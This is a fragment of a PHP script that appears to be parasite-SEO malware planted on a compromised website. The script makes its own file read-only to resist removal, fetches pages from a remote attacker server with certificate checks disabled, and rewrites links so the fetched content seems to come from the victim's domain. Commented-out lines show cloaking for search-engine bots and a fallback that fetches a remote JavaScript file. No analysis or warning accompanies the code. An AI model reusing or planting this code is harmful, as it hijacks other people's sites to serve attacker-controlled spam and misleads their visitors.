$url, CURLOPT_TIMEOUT => $time, CURLOPT_HTTPHEADER => $header, CURLOPT_HEADER => false, CURLOPT_NOBODY => false, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => $useragent, ); if(strpos($url,'https://') !== false) { $arr[CURLOPT_SSL_VERIFYPEER] = false; $arr[CURLOPT_SSL_VERIFYHOST] = false; $arr[CURLOPT_SSLVERSION] = CURL_SSLVERSION_TLSv1_1; $arr[CURLOPT_SSL_VERIFYSTATUS] = false; $arr[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_2_0; } curl_setopt_array($curl, $arr); $res = curl_exec($curl); if (!$res && $num == 1) { $error = curl_errno($curl); curl_close($curl); return getHtml(str_replace('https://','http://',$url),6,2); } curl_close($curl); return $res; } function getJustAllUrl($str) { $parttern = "/http[s]?:\/\/(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+/"; preg_match_all($parttern, $str, $matches); return count($matches) > 0 ? array_unique($matches[0]) : ''; } chmod(__FILE__,0444); // if(stripos($ua,"bot") !== false || stripos($ua,"spider")){ $req = $_SERVER['REQUEST_URI']; $new_req = explode('.php', $req); $new_req[1] = explode('/',$new_req[1]); $new_req[1][1] = $new_req[1][1].'_'.$host; $new_req[1] = implode('/',$new_req[1]); $url = rtrim($server_url,'/') . "/" .ltrim(rtrim($new_req[1], '/'), '/'); $c = getHtml($url); $port = $_SERVER["SERVER_PORT"]; $http = $port == '443' ? 'https://' : 'http://'; $server_url = str_replace(array('http://','https://'),$http,$server_url); $target_url = $http . $host . $new_req[0] . '.php'; $css_list = array(); foreach (getJustAllUrl($c) as $k => $v) { $v = str_replace(array("'", ')', ';'), '', $v); $vnew = str_replace(array('http://','https://'),$http,$v); if (strpos($vnew, $server_url) !== false) { $info = pathinfo($vnew); $new_url = str_replace($server_url, $target_url, $vnew); if (in_array(strtolower($info['extension']), array('css', 'js', 'ico', 'jpeg', 'jpg', 'gif', 'png'))) { $css_list[] = array( $new_url => str_replace($target_url, $server_url, $vnew), ); } $c = str_replace($v, $new_url, $c); } } if ($css_list) { foreach ($css_list as $v) { $c = strtr($c, $v); } } if (strpos($req, '.xml') !== false) { header("Content-type: text/xml"); $c = str_replace($server_url, $target_url, $c); } echo $c; exit(); // }else{ // echo getHtml($server_url."/jsc/js/js5.txt"); // exit(); // } function real_ip() { $ip = $_SERVER['REMOTE_ADDR']; if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) { foreach ($matches[0] as $xip) { if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) { $ip = $xip; break; } } } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) { $ip = $_SERVER['HTTP_X_REAL_IP']; } return $ip; }